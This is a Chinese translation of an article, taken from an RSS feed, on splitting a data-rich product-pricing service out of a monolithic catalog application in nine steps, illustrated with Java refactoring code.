&lt;p&gt;在将单体应用拆分为较小服务的过程中，最难的部分就是单体服务数据库中的数据拆分。要进行这样的拆分，保证数据有一个全程唯一的写拷贝，并且遵循一系列步骤是很有帮助的。拆分步骤从对现有单体应用的逻辑分割开始：将服务行为拆分为一个单独的模块，然后把数据拆分到单独的数据表中。一系列动作之后，这些元素最终成为一个自治的新服务。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;从单体应用向较小服务的迁移是目前的主流趋势。投资进行这样的迁移，其动力在于，围绕业务能力构建较小服务，能够提高开发者的生产力。团队一旦成为服务的主人，同时也就成为自身命运的主人，这就意味着可以不受系统中其他服务的限制，自由的对自有服务进行改善和升级。&lt;/p&gt;

&lt;p&gt;这个转换过程之中最难的部分，就是从单体应用所持有的数据库中把新服务所属的数据拆分出来。如果从单体应用中拆分出来的逻辑部分仍然连接到同一个数据库，这种拆分无疑是比较简单的。但是这样一来，数据库就成为跨应用共享数据库，整个系统所呈现出的各自独立的分布式形态仅是徒有其表，在数据库层面，这依旧是一个紧耦合系统。真正独立的服务需要有独立的数据库——格式和数据都专属于服务。&lt;/p&gt;

&lt;p&gt;本文中要讲述一系列步骤组成的一个解构模式，用来在最小化业务中断的前提下，从单体应用中拆出富数据服务。&lt;/p&gt;

&lt;h2 id=&#34;服务拆分过程的指导原则&#34;&gt;服务拆分过程的指导原则&lt;/h2&gt;

&lt;p&gt;深入探讨之前，我想首先介绍两个对于服务拆分具有重要指导意义的基本原则。这两条原则能把从单体应用到多服务的拆分过程变得更加平滑，也更加安全。&lt;/p&gt;

&lt;h3 id=&#34;整个迁移过程中-数据保持有单一的写拷贝&#34;&gt;整个迁移过程中，数据保持有单一的写拷贝&lt;/h3&gt;

&lt;p&gt;在转移过程中，我们应该保证待迁出服务的数据始终有一个单独的写拷贝。如果出现了多个可写拷贝，就会出现写冲突的风险。当多个客户端同时写入同一块数据的时候，写冲突就会出现。写冲突的应对是比较复杂的——需要选择一个处理模式，并进行相应的处理。例如以最后写入为准的话，会给部分客户端带来意料之外的后果，同时还要通知写入失败的客户端进行相应的纠错处理。这样的逻辑无疑是比较复杂的，应该尽量避免。&lt;/p&gt;

&lt;p&gt;这里的服务拆分模式会保证在服务拆分过程中的任意时间点上，都保持唯一的可写副本，从而避免写冲突造成的复杂性。&lt;/p&gt;

&lt;h3 id=&#34;遵循-架构演进原子化-的原则&#34;&gt;遵循“架构演进原子化”的原则&lt;/h3&gt;

&lt;p&gt;我的同事 Zhamak Dehghani 提出一个原则，叫架构演进原子化，代表在架构迁移过程中使用一系列原子化步骤。这些步骤完成以后，架构就完成了承诺的升级。如果这些步骤没有完全执行，那么这一架构的状态会比初始状态更加糟糕。例如决定分拆一个服务，结果最后只拆分了逻辑，没能拆分数据，这样收获的是一个数据库层耦合的状态，这一状态依然会导致开发和运行时的紧密耦合。实际上对比开始分拆之前，系统变得更加复杂，开发和除错的难度也随之增加了。&lt;/p&gt;

&lt;p&gt;下面讲到的模式中，我们建议完成其中的所有步骤来完成拆分工作。服务分拆过程之中的最大障碍并非来自技术，而是如何让既有的单体应用客户迁移到新的服务之中去。我们将在第五步讨论这一话题。&lt;/p&gt;

&lt;h2 id=&#34;服务拆分的步骤&#34;&gt;服务拆分的步骤&lt;/h2&gt;

&lt;p&gt;现在让我们进入实际的服务拆分模式之中。为了方便讲述和操作，我们会做一个例子，来解释服务拆分的具体过程。&lt;/p&gt;

&lt;p&gt;假设有个单体形态的商品信息系统，用来给我们的电商平台提供商品信息。经过一段时间的发展和演进，这一系统的服务范围不仅包含了商品名称、类目名称等核心信息和相关逻辑，同时还包含了商品定价方面的逻辑和数据。商品核心信息和价格信息之间并没有清晰的边界。&lt;/p&gt;

&lt;p&gt;另外系统的变动频率来看，价格方面的系统变更频率要远高于核心信息部分。数据访问的模式也是各有千秋。商品的价格信息变动比核心商品属性同样要快得多。这样一来，把价格部分分拆到单体应用之外，形成一个单独的服务就是个非常有吸引力的想法了。&lt;/p&gt;

&lt;p&gt;同商品核心信息相比，价格信息更加适合分拆，这是因为在原有应用的依赖体系中，定价功能是一个叶子节点。核心商品信息被很多其他功能所依赖，例如商品库存、市场等很多功能。如果将核心信息功能分拆出来，就意味着同时要触动很多相关系统，这会产生很大的风险。因此应该在功能依赖图中选择一个有业务价值的叶子节点作为开始。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/monolith-diagram.png&#34; alt=&#34;monolith-diagram&#34; /&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;图 1：类目系统中包含了核心信息和价格信息两部分的逻辑和数据。有两个客户端——Web 应用和 iOS app。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&#34;代码的初始状态&#34;&gt;代码的初始状态&lt;/h3&gt;

&lt;p&gt;下面是商品系统的现有代码。很明显的，这些代码不具备真实的复杂度。然而用来演示拆分富数据服务的重构过程，其复杂度还是足够的。下面的内容中会看到每个步骤中代码的变化过程。&lt;/p&gt;

&lt;p&gt;这段代码中包含了一个 &lt;code&gt;CatalogService&lt;/code&gt; 接口，用于给客户端提供服务。它使用一个 &lt;code&gt;productRepository&lt;/code&gt; 类和数据库进行交互，用于数据的获取和存储。&lt;code&gt;Product&lt;/code&gt; 是一个（Dumb data class）哑类，包含了商品信息。哑类设计是一种反模式设计，不过这不是本文的重点。&lt;code&gt;Sku&lt;/code&gt;、&lt;code&gt;Price&lt;/code&gt; 以及 &lt;code&gt;CategoryPriceRange&lt;/code&gt; 几个类都是比较边缘的小类。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;class CatalogService…

  public Sku searchProduct(String searchString) {
      return productRepository.searchProduct(searchString);
  }

  public Price getPriceFor(Sku sku) {
      Product product = productRepository.queryProduct(sku);
      return calculatePriceFor(product);
  }

  private Price calculatePriceFor(Product product) {
      if(product.isOnSale()) return product.getSalePrice();
      return product.getOriginalPrice();
  }

  public CategoryPriceRange getPriceRangeFor(Category category) {
      List&amp;lt;Product&amp;gt; products = productRepository.findProductsFor(category);
      Price maxPrice = null;
      Price minPrice = null;
      for (Product product : products) {
          if (product.isActive()) {
              Price productPrice = calculatePriceFor(product);
              if (maxPrice == null || productPrice.isGreaterThan(maxPrice)) {
                  maxPrice = productPrice;
              }
              if (minPrice == null || productPrice.isLesserThan(minPrice)) {
                  minPrice = productPrice;
              }
          }
      }
      return new CategoryPriceRange(category, minPrice, maxPrice);
  }

  public void updateIsOnSaleFor(Sku sku) {
      final Product product = productRepository.queryProduct(sku);
      product.setOnSale(true);
      productRepository.save(product);
  }
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;下面就开始从商品单体应用中抽取 &amp;ldquo;Product pricing&amp;rdquo; 服务的第一步。&lt;/p&gt;

&lt;h3 id=&#34;步骤-1-识别新服务涉及到的逻辑和数据&#34;&gt;步骤 1：识别新服务涉及到的逻辑和数据&lt;/h3&gt;

&lt;p&gt;第一个步骤中，需要对商品应用中的商品定价服务所包含的逻辑和数据进行识别。我们的商品应用中包含了一个 &lt;code&gt;Products&lt;/code&gt; 数据表，其中包含了 &lt;code&gt;name&lt;/code&gt;、&lt;code&gt;SKU&lt;/code&gt;、&lt;code&gt;category_name&lt;/code&gt; 以及 &lt;code&gt;is_active&lt;/code&gt; 标志（用于表示该商品是否有效或者已经弃用）等核心数据。每个商品都属于一个商品类目，类目就是一组商品。例如“男式衬衫”类目包含了花衬衫和晚礼服衬衫等商品。同时这个应用中还有一些核心的商品逻辑，例如根据名称进行商品搜索等。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Products&lt;/code&gt; 数据表还有一些定价相关的字段，例如 &lt;code&gt;original_price&lt;/code&gt;、&lt;code&gt;sale_price&lt;/code&gt; 以及 &lt;code&gt;is_on_sale&lt;/code&gt; 标志（用于标识该商品是否在售）。商品应用中包含了一些定价方面的功能，比如计算商品价格、更新 &lt;code&gt;is_on_sale&lt;/code&gt; 标志。另外还有一个纠结的功能，就是获取一个类目的价格区间，它主要属于定价范畴，但是也要涉及一些商品的核心功能。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/step1.png&#34; alt=&#34;step 1&#34; /&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;图 2：绿色部分是商品的核心逻辑和数据，蓝色部分是定价方面的逻辑和数据。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;接下来重新贴一下上面的代码，代码没有发生变化，核心部分加入了注释（原文用蓝绿标识，MD 格式限制，只能用注释代替）。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;  // 搜索商品
  public Sku searchProduct(String searchString) {
      return productRepository.searchProduct(searchString);
  }

  public Price getPriceFor(Sku sku) {
      Product product = productRepository.queryProduct(sku);
      return calculatePriceFor(product);
  }

  private Price calculatePriceFor(Product product) {
      if(product.isOnSale()) return product.getSalePrice();
      return product.getOriginalPrice();
  }

  public CategoryPriceRange getPriceRangeFor(Category category) {
      // 搜索指定类目中的商品
      List&amp;lt;Product&amp;gt; products = productRepository.findProductsFor(category);
      Price maxPrice = null;
      Price minPrice = null;
      for (Product product : products) {
          // 商品是否可用
          if (product.isActive()) {
              Price productPrice = calculatePriceFor(product);
              if (maxPrice == null || productPrice.isGreaterThan(maxPrice)) {
                  maxPrice = productPrice;
              }
              if (minPrice == null || productPrice.isLesserThan(minPrice)) {
                  minPrice = productPrice;
              }
          }
      }
      return new CategoryPriceRange(category, minPrice, maxPrice);
  }

  public void updateIsOnSaleFor(Sku sku) {
      final Product product = productRepository.queryProduct(sku);
      product.setOnSale(true);
      productRepository.save(product);
  }
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;步骤-2-在单体应用中对新服务进行逻辑上的拆分&#34;&gt;步骤 2：在单体应用中对新服务进行逻辑上的拆分&lt;/h3&gt;

&lt;p&gt;第二三步是关于逻辑拆分的，要在商品应用&lt;strong&gt;持续运作&lt;/strong&gt;的情况下，对商品定价服务的逻辑和数据进行逻辑上的分割。简而言之就是在创建新服务之前，首先在单体应用中，对产品的定价数据和逻辑进行隔离。这样做的好处在于，由于还在同一个代码库中，如果定错了产品定价服务所包含的逻辑或者数据边界，纠正这一错误所需的重构工作，相对于拆分为新服务之后，会比较简单一些。&lt;/p&gt;

&lt;p&gt;第二步的一部分，我们要创建两个服务类，用来封装不同对象的逻辑：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;商品核心类：&lt;code&gt;CoreProductService&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;商品定价类：&lt;code&gt;ProductPricingService&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这些服务类会和我们的“物理”类一一对应，也就是后面看到的商品定价和商品核心。我们还会创建独立的存储类—— &lt;code&gt;ProductPriceRepository&lt;/code&gt; 用来访问产品定价数据，以及 &lt;code&gt;CoreProductRepository&lt;/code&gt; 用来访问核心商品数据，这两种数据目前都存储在 &lt;code&gt;Products&lt;/code&gt; 数据表中。&lt;/p&gt;

&lt;p&gt;这部分工作中，需要时刻注意的关键一点是 &lt;code&gt;ProductPricingService&lt;/code&gt; 或者 &lt;code&gt;ProductPriceRepository&lt;/code&gt; 不应该访问 &lt;code&gt;Products&lt;/code&gt; 表中的商品核心信息，而应该通过 &lt;code&gt;CoreProductService&lt;/code&gt; 类来进行所有商品核心信息相关的访问。下文中会看到对 &lt;code&gt;getPriceRangeFor&lt;/code&gt; 方法进行重构的例子。&lt;/p&gt;

&lt;p&gt;不允许存在商品核心信息和商品定价信息之间的表关联。类似的，数据库中也不该有核心商品信息和商品定价信息之间的硬约束。所有的 JOIN 和 约束都应该从数据库层转移到逻辑层。不过知易行难是个普遍规律，数据库的拆分过程中，这一点是个难度和必要性都很高的任务。&lt;/p&gt;

&lt;p&gt;不难看出，商品核心和商品定价之间是有一个共享的标识符的——两个系统中，SKU 都能能够作为商品的唯一标识。这种跨系统标识符会用在跨系统的通信过程之中，它的重要性显而易见，因此必须慎重选择。只能够有一个系统独立掌握这一数据。所有其它服务都只能对其进行只读的引用——在这些服务的视角中，标识符是固定不变的。标识符所属的实体，其生命周期的管理者，是最适合作为该标识符的属主的。例如我们的案例中，商品核心信息服务掌控着商品的生命周期，因此 SKU 标识符也应该由这一部分进行管理。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/step2.png&#34; alt=&#34;Step 2&#34; /&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;图 3：商品核心信息逻辑和商品定价逻辑的拆分，此时商品定价逻辑仍然连接在同一个商品数据表上。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;下面是重构的代码。你会看到新建了 &lt;code&gt;ProductPricingService&lt;/code&gt; 用来负责定价相关的逻辑。另外还定义了 &lt;code&gt;productPriceRepository&lt;/code&gt; 用来访问 &lt;code&gt;Products&lt;/code&gt; 表中的定价相关数据。现在的 &lt;code&gt;Product&lt;/code&gt; 数据类被分为了 &lt;code&gt;CoreProduct&lt;/code&gt; 和 &lt;code&gt;ProductPrice&lt;/code&gt; 两个类，分别用户处理商品核心信息和商品定价信息。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;class ProductPricingService…

  public Price getPriceFor(Sku sku) {
      ProductPrice productPrice = productPriceRepository.getPriceFor(sku);
      return calculatePriceFor(productPrice);
  }

  private Price calculatePriceFor(ProductPrice productPrice) {
      if(productPrice.isOnSale()) return productPrice.getSalePrice();
      return productPrice.getOriginalPrice();
  }
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;获取指定类目的价格范围，这一功能相对复杂。这是因为它需要获取类目中的商品列表，而这一操作是属于商品核心部分的。&lt;code&gt;getPriceRangeFor&lt;/code&gt; 方法首先要调用 &lt;code&gt;coreProductService&lt;/code&gt; 的 &lt;code&gt;getActiveProductsFor&lt;/code&gt; 方法来获取类目中的有效商品列表。前面提到过 &lt;code&gt;is_active&lt;/code&gt; 是商品核心的属性，因此将 &lt;code&gt;isActive&lt;/code&gt; 检查也放到 &lt;code&gt;coreProductService&lt;/code&gt; 之中。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;class ProductPricingService…

  public CategoryPriceRange getPriceRangeFor(Category category) {
      // 获取商品列表
      List&amp;lt;CoreProduct&amp;gt; products = coreProductService.getActiveProductsFor(category);

      // 根据商品列表获取价格
      List&amp;lt;ProductPrice&amp;gt; productPrices = productPriceRepository.getProductPricesFor(mapCoreProductToSku(products));

      Price maxPrice = null;
      Price minPrice = null;
      for (ProductPrice productPrice : productPrices) {
              Price currentProductPrice = calculatePriceFor(productPrice);
              if (maxPrice == null || currentProductPrice.isGreaterThan(maxPrice)) {
                  maxPrice = currentProductPrice;
              }
              if (minPrice == null || currentProductPrice.isLesserThan(minPrice)) {
                  minPrice = currentProductPrice;
              }
      }
      return new CategoryPriceRange(category, minPrice, maxPrice);
  }

  private List&amp;lt;Sku&amp;gt; mapCoreProductToSku(List&amp;lt;CoreProduct&amp;gt; coreProducts) {
      return coreProducts.stream().map(p -&amp;gt; p.getSku()).collect(Collectors.toList());
  }
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;getActiveProductsFor&lt;/code&gt; 方法获取指定类目商品列表的代码大致如下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;class CoreProductService…

  public List&amp;lt;CoreProduct&amp;gt; getActiveProductsFor(Category category) {
      // 获取类目下的商品列表
      List&amp;lt;CoreProduct&amp;gt; productsForCategory = coreProductRepository.getProductsFor(category);
      // 只返回 is_active 的商品列表
      return filterActiveProducts(productsForCategory);
  }

  // 根据 is_active 进行过滤
  private List&amp;lt;CoreProduct&amp;gt; filterActiveProducts(List&amp;lt;CoreProduct&amp;gt; products) {
      return products.stream().filter(p -&amp;gt; p.isActive()).collect(Collectors.toList());
  }
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在本例中，我们把 &lt;code&gt;isActive&lt;/code&gt; 的检查保留在了服务中，但是把它转移到数据库查询之中也是很容易的。实际上将功能拆分为多个服务之后，很容易发现这些将逻辑下放到查询层从而提高运行效率的机会。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;updateIsOnSale&lt;/code&gt; 功能非常直接，可以进行如下重构：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;class ProductPricingService…

  public void updateIsOnSaleFor(Sku sku) {
      final ProductPrice productPrice = productPriceRepository.getPriceFor(sku);
      productPrice.setOnSale(true);
      productPriceRepository.save(productPrice);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;searchProduct&lt;/code&gt; 方法指向新建的 &lt;code&gt;coreProductRepository&lt;/code&gt;，用于商品搜索。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;class CoreProductService…

  public Sku searchProduct(String searchString) {
      return coreProductRepository.searchProduct(searchString);
  }
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;原单体应用的顶层接口是 &lt;code&gt;CatalogService&lt;/code&gt;，这里也需要进行重构，对不同的功能调用，要委托给不同的服务——&lt;code&gt;CoreProductService&lt;/code&gt; 和 &lt;code&gt;ProductPricingService&lt;/code&gt;。这个过程很重要，它保障了现有的客户端和服务端之间的契约。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;searchProduct&lt;/code&gt; 方法委托给了 &lt;code&gt;CoreProductService&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;class CatalogService…

  public Sku searchProduct(String searchString) {
      return coreProductService.searchProduct(searchString);
  }
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;定价相关的方法则委托给了 &lt;code&gt;productPricingService&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;class CatalogService…

  public Price getPriceFor(Sku sku) {
      return productPricingService.getPriceFor(sku);
  }

  public CategoryPriceRange getPriceRangeFor(Category category) {
      return productPricingService.getPriceRangeFor(category);
  }

  public void updateIsOnSaleFor(Sku sku) {
      productPricingService.updateIsOnSaleFor(sku);
  }
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;步骤-3-为身处单体服务当中的新服务创建数据表&#34;&gt;步骤 3：为身处单体服务当中的新服务创建数据表&lt;/h3&gt;

&lt;p&gt;这个步骤中，我们要把定价相关的数据拆分到一个新的数据表中——&lt;code&gt;Productprices&lt;/code&gt;。这一步骤的最后，商品定价逻辑应该访问 &lt;code&gt;ProductPrices&lt;/code&gt; 数据表，而不再是 &lt;code&gt;Products&lt;/code&gt; 表。对任何 &lt;code&gt;Products&lt;/code&gt; 数据表中关于商品核心信息的请求，都应该从商品核心逻辑层中获取。这个步骤中，除了 &lt;code&gt;productPricingRepository&lt;/code&gt; 类之外，所有其他类，尤其是服务类的代码都不应被触及。&lt;/p&gt;

&lt;p&gt;这个步骤中要把一个数据表一分为二，因此很重要的一项工作就是 &lt;code&gt;Products&lt;/code&gt; 表到 &lt;code&gt;ProductPrices&lt;/code&gt; 表的数据迁移。我的同事 Pramod Sadalage 写了一本关于&lt;a href=&#34;https://www.martinfowler.com/books/refactoringDatabases.html&#34; target=&#34;_blank&#34;&gt;数据库重构&lt;/a&gt;的书，如果希望认真的学习这方面的知识，这本书非常值得一读。要做个快速入门，可以看看 Pramod 和 Martin Fowler 的文章：&lt;a href=&#34;https://www.martinfowler.com/articles/evodb.html&#34; target=&#34;_blank&#34;&gt;Evolutionary Database Desgin&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;在本步骤最后，可能会觉察到新服务可能会对整体系统造成一些影响，尤其是性能方面。逻辑层中的内存内数据 Join 的性能影响是显而易见的。在我们的例子中，&lt;code&gt;getPriceRangeFor&lt;/code&gt; 方法就在商品核心信息和商品定价信息之间进行了一次连接。在业务代码中完成数据连接相对于数据库来说，始终是一种更大开销的操作，这也是数据解耦的代价之一。如果在这一阶段中的性能损失非常严重，那么把数据迁回的话，情况会变得更糟糕，更不要提将服务进行物理拆分之后了。如果性能需求（以及可能存在的受这次重构影响的其他需求）无法满足，那么很可能需要重新思考一下服务边界的问题。至少在目前阶段里，Web 应用和 iOS 还都保持良好，这是因为我们没有修改任何和客户端发生交互的部分。这一步骤的另一个功能，就是进行了一次物美价廉的测试。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/step3.png&#34; alt=&#34;Step 3&#34; /&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;图 4：拆分成两块：商品核心的数据和逻辑，商品定价的数据和逻辑。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&#34;步骤-4-创建新的服务-并且访问单体应用的原有数据库&#34;&gt;步骤 4：创建新的服务，并且访问单体应用的原有数据库&lt;/h3&gt;

&lt;p&gt;这个步骤中就要开始给商品定价的逻辑建立新的“物理”服务了，新的服务以 &lt;code&gt;ProductPricingService&lt;/code&gt; 为基础，但是数据库依旧沿用单体应用所持有的 &lt;code&gt;ProductPrice&lt;/code&gt; 数据表。注意到了这一步，&lt;code&gt;ProductPricingService&lt;/code&gt; 调用 &lt;code&gt;CoreProductService&lt;/code&gt; 就会变为网络调用了，这种变化不仅会对性能造成影响，还需要增加对超时等网络调用特有问题的处理。&lt;/p&gt;

&lt;p&gt;这也是一个业务抽象验证的好机会，这里可以看到新的商品定价服务的建模到底针对的是技术方案还是业务需求。例如当业务用户在执行 &lt;code&gt;updateIsOnSale&lt;/code&gt; 时，他的真正需要是在系统中给特定商品创建一个“促销”。下面的代码就是重构以后的 &lt;code&gt;updateIsOnSaleFor&lt;/code&gt;。我们响应业务需求，对功能进行了改进，在参数中加入了促销价格，这在以前是没有的。这还是一个将从前流落到客户端的逻辑重新归纳到服务级别的好机会。在客户端的角度来看，这明显是一个有利的变更。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;class ProductPricingService…

  public void createPromotion(Promotion promotion) {
      final ProductPrice productPrice = productPriceRepository.getPriceFor(promotion.getSku());
      productPrice.setOnSale(true);
      productPrice.setSalePrice(promotion.getPrice());
      productPriceRepository.save(productPrice);
  }
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;当然这些重构并非天马行空任意施为的，其中一个重要限制就是不能修改表结构以及表数据的语义，否则可能会破坏掉单体应用中的已有功能。服务拆分大功告成之后（步骤 9），就可以对自己的数据库以及代码为所欲为了。&lt;/p&gt;

&lt;p&gt;你可能想要在进行客户端迁移之前进行这一变更，尤其是在大型组织机构中，要让大量不同的服务消费者在限定时间内进行迁移，这一过程需要消耗大量的时间和金钱。下一步中会详细讨论这一问题。新的定价服务可以安全的部署到生产环境中进行测试——反正没有客户端在使用这一服务。同样这里对客户端没有任何变更，例如本例中的 Web 应用和 iOS App 都没有受到任何影响。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/step4.png&#34; alt=&#34;Step 4&#34; /&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;图 5：商品定价服务分拆成了新的“物理”服务，新服务在数据方面要依赖单体应用中的 &lt;code&gt;ProductPrices&lt;/code&gt; 表，而功能上则要依赖于单体应用中的核心产品功能。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&#34;步骤-5-让客户端使用新的服务&#34;&gt;步骤 5：让客户端使用新的服务&lt;/h3&gt;

&lt;p&gt;这个步骤里，单体服务的客户端中涉及商品定价的部分就需要转移到新的服务上了。这一阶段的工作有两个依赖项：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;新旧结构中有多少接口发生了变更。&lt;/li&gt;
&lt;li&gt;在组织视角，有多少客户端团队需要及时进行迁移。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这一步骤启动以后，整体架构可能会处于一个中间状态：新旧服务都有客户端在访问。这种状况实际上是比初始状态更加糟糕的。这就是前面讨论过的原子化的架构演进原则的必要性。在迁移开始之前，要获得组织的确认，所有新功能的相关客户端能够按时完成迁移。在架构处于半完成状态期间，是非常容易受到其他的所谓高优先级问题的干扰的。&lt;/p&gt;

&lt;p&gt;好消息是，并非所有客户端都需要同时进行迁移。然而在进行下一步之前，完成所有的客户端改造是必要的。可以设置一些服务级的监控机制来监视定价相关的方法，来识别没有完成相关变更的客户端。&lt;/p&gt;

&lt;p&gt;理论上可以在客户端完成改造之前开始一些下一步的工作，尤其是下一步中包含了创建定价数据库的操作，但是为了工作的简化，我还是建议尽量按照顺序完成步骤。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/step5.png&#34; alt=&#34;Step 5&#34; /&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;图 6：要使用定价功能的客户端已经迁移到新的定价服务。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&#34;步骤-6-为新服务创建数据库&#34;&gt;步骤 6：为新服务创建数据库&lt;/h3&gt;

&lt;p&gt;这一步相对简单，从单体应用的数据表中进行镜像，创建新的定价数据库。这一过程中有个很大的诱惑就是：既然代码已经进行了重构，干脆也对定价数据库进行一次重构吧。但是数据结构的变化会提高后面将要进行的数据迁移过程的难度。这还意味着新的新的定价服务同时要支持两套不同的结构。我还是建议让事情简单一点：首先分离定价服务（终结所有本文中提到的步骤），然后单独对定价服务进行重构。定价数据库的隔离一旦完成，对数据库的修改就很容易了，毕竟没有客户端会直接访问数据库。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/step6.png&#34; alt=&#34;Step 6&#34; /&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;图 7：独立的定价数据库已经建立。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&#34;步骤-7-同步数据到新数据库&#34;&gt;步骤 7：同步数据到新数据库&lt;/h3&gt;

&lt;p&gt;这一步需要从单体应用的数据库中把定价表的数据同步给新的定价数据库。如果结构没有发生变化，那么这个同步过程是非常简单明了的。基本上相当于把定价数据库设置为原有数据库的只读副本过程（仅涉及到定价相关的数据表）。这样也能保障新的定价数据库的及时性。&lt;/p&gt;

&lt;p&gt;迁移完成后，就可以准备在下个步骤中，让独立的定价服务来访问新的定价数据库了。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/step7.png&#34; alt=&#34;Step 7&#34; /&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;图 8：从旧数据库中同步定价数据表给新建的定价数据库。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&#34;步骤-8-让新服务使用新数据库&#34;&gt;步骤 8：让新服务使用新数据库&lt;/h3&gt;

&lt;p&gt;开始之前，必须要保证所有使用定价功能的客户端迁移到新的服务上去。如果没有，就面临着写入冲突的风险，这也是前面强调“唯一写拷贝”原则的理由。所有客户端都迁移到新的服务端之后，就需要将定价服务指向新的数据库了。简单说来就是把数据库连接进行一次切换。&lt;/p&gt;

&lt;p&gt;这样做的一个好处就是在出现问题的时候，还有机会轻松的迁移回到原数据库。有一种常见问题就是，新数据库中缺乏一些新服务所必须的数据表或者字段。这是步骤一中的失误所产生的后果。有可能是缺少了一些必要的引用数据，比如货币代码。成功解决这些问题之后，就可以进入下一步了。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://martinfowler.com/articles/extract-data-rich-service/step8.png&#34; alt=&#34;Step 8&#34; /&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;图 9：指向定价数据库的定价服务。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&#34;步骤-9-从单体应用中删除新服务相关的逻辑和数据&#34;&gt;步骤 9：从单体应用中删除新服务相关的逻辑和数据&lt;/h3&gt;

&lt;p&gt;这里就要从原有应用中删除定价功能相关的逻辑和数据库了。很多团队会在数据库中留着旧数据，仅仅是因为担心“万一有用呢？”。进行一次全库备份可能有助于缓解这种恐惧。&lt;/p&gt;

&lt;p&gt;现在 &lt;code&gt;CatalogService&lt;/code&gt; 的所有功能都委托给了对 &lt;code&gt;CoreProductService&lt;/code&gt; 服务的调用，顺理成章地，我们就可以移除这一中间层，让客户直接调用 &lt;code&gt;CoreProductService&lt;/code&gt; 服务了。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/step9.png&#34; alt=&#34;Step 9&#34; /&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;图 10：商品核心只有商品核心的相关逻辑和数据；商品定价服务持有定价的逻辑和数据，二者仅在逻辑层面进行交互。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;总结&#34;&gt;总结&lt;/h2&gt;

&lt;p&gt;大功告成！我们成功的把一个富数据的服务从单体应用中解放了出来。&lt;/p&gt;

&lt;p&gt;第一次进行这项工作时，会有很多痛苦，也会受到很多教训，这都会让你的下一次拆分更加顺利。初次拆分过程中，不管面对多大诱惑，都最好不要尝试合并这些步骤。一次只进行一步，让整个工作流程更少悬念，更多的安全感和可预测性。在成功掌握这一模式之后，就可以根据自身所学对这些步骤进行优化了。&lt;/p&gt;

&lt;p&gt;祝你好运！&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>换马甲：十分钟 Helm 变 Operator</title>
      <link>/post/helm-to-operator/</link>
      <pubDate>Thu, 30 Aug 2018 10:41:42 +0800</pubDate>
      <guid>/post/helm-to-operator/</guid>
      <description>

